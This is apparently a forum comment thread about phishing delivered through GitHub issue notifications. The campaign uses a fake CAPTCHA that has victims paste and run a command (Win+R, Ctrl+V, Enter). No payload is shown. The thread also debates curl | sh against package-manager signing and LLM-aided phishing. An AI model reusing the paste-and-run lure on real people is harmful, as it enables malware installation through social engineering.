This has happened for a while. In February of this year, the same attack vector was used in an attack to trick developers into thinking that they'd got a job offer from GitHub: https://www.xorlab.com/en/blog/phishing-on-github
Seriously how hard it can be for GH to detect that a randomly just created account is creating issues, with the same text, containing a link inside?
I got dozens of such spam during a whole day.
Once they introduce that, the texts will become more varied, and links, possibly, too.
There are more possible next steps, which would make creating accounts for spamming more expensive, but they will also inconvenience well-meaning new users.
I suspect that unless the problem of malicious spam from GitHub comments becomes rather serious, acting on the case by case basis may be the correct solution.
> Once they introduce that, the texts will become more varied
I’ve said for some time that, while LLMs are varying levels of useful for a lot of people, it’s practically tailor made for spam and phishing. I can’t think of any “product-market-fit” as good as that.
For instance: Imagine combining a leak of personal data from your favorite data broker (who knew that this would come back and bite), with an LLM to bypass spam filters and perform phishing attacks with eerie believable social engineering behind it. All for next to no money.
I turned off most GitHub emails and mostly use the Notification Centre for discovering things I need to know about. It's not entirely proof against phishing this way, but it doesn't get to use email to appear more legitimate.
I've also been seeing Typeform emails coming from spam sources. Somehow people are using Typeform's positive reputation score to send emails to arbitrary emails.
so many red-flags, i don't know how someone could go beyond and click this link.
Months ago I got crypto ads through a similar approach, some fake new account @-ing hundreds of users in an issue and then the issue is removed. The net effect is that the ads become unblockable in your email box (It's from GitHub!).
Maybe devs' target value in general has growing to a point where the openness of the system is more of a vulnerability than service.
> In text form (link altered for your safety)
Might want to change the image too, macOS recognises the link in that and makes it clickable. I’d say that’s more dangerous than modifying it in the text of the post, you could just as well include a non-clickable text link.
While we're here: what happened to the GitHub explore newsletter? I really enjoyed this, but I've stopped receiving it for a few months now. And I don't think I unsubscribed.
One one hand, I can see the captcha is easy to fall for. On the other, nothing says "prove you aren't a machine" like "run this code that a machine could easily run."
If your method of infecting your victim is having them paste and run a random command on their terminal, software developers is probably the worst group of people to be targeting.
“Curl pipe sh” would like to have a word…
I think you are painting with a broad brush.
This is no different from installing a random package through a package manager. If you're running "curl pipe sh" because an email told you to, that's on you.
Both are examples of developer-types doing risky things, which was my point and also supports my point that developers are not exclusively better secured than non-developer types.
No it isn't. Package managers verify the cryptographically signed package. That means the package can be built on a secure server, and then if a mirror becomes malicious or gets compromised, the malicious package won't have a valid signature so the package will not be installed. Running curl and piping it into sh means that not only could a malicious mirror or compromised server execute anything they want on your computer, but they could even send a different script when you curl it into sh vs when you view it any other way, making it much harder to detect[0].
[0] https://web.archive.org/web/20240213030202/https://www.idont...
I think the npm repos would like to have a word with you. Sure glad we've never had a cryptographically signed malicious package delivered via npm install
Thats like not wearing a seatbelt because you can still be crushed by a truck. Don't let perfect be the enemy of good. Package managers prevent some attacks that are possible via curl | sh. Some other attacks are still possible. It is still better than not cryptographically verifying the package.
That's like moving the goal posts so you can still try to have a point after the fact. Your comment suggested that package manager was secure while curl | sh isn't because the package manager won't have a valid signature. That's only if the package manager was compromised. A code package that is built to be malicious will still get signed by your manager. Only now, people think they are secure because it was signed.
The tremendous number of attacks delivered via trusted package repos versus the number of widespread attacks via curl | sh (probably roughly zero) means that, theories aside, one of these is far more commonly abused than the other.
you'd be surprised at the quality of the average dev
My only encounter with this is, that I am annoyed if I open web dev tools on a new browser profile/guest profile, but am interrupted in my workflow because first I have to type "allow pasting" every single time. (Why I do this quite often? To be sure to have a clean state when debugging a web app) And all this, because some people cannot think, before they follow obscure instructions send to them by a untrusted party?
Why can't we have nice things again? Because of abusers yes, but also because of sheep people.
You just need a handful of people to fall for it, and a population of a hundred million daily active users on GitHub means there are always a handful of people to trick.
Fun how Microsoft is on both ends of the "exploit"
No org is safe, not even Github..
These hackers need to work on the rest of their funnel lmao. Getting me to click the link would be easy, but running that script? Never in a million years!
>verification steps >winkey+R >Ctrl+V >enter
Of all things that seem legit, this seems the legitest.
If you're stupid enough to paste something off a random website (that you discovered through a random email link) into the command line (and then execute it), then you deserve what happens next. At some point the end user is to blame.
I also have no clue why any reasonable person would refer to that monstrosity as a CAPTCHA.
woah
This is neither hijacking notifications nor sending malware. This is someone including a link in a message on a ticketing system open to the public, and then someone clicking on the link and downloading malware.
[dead]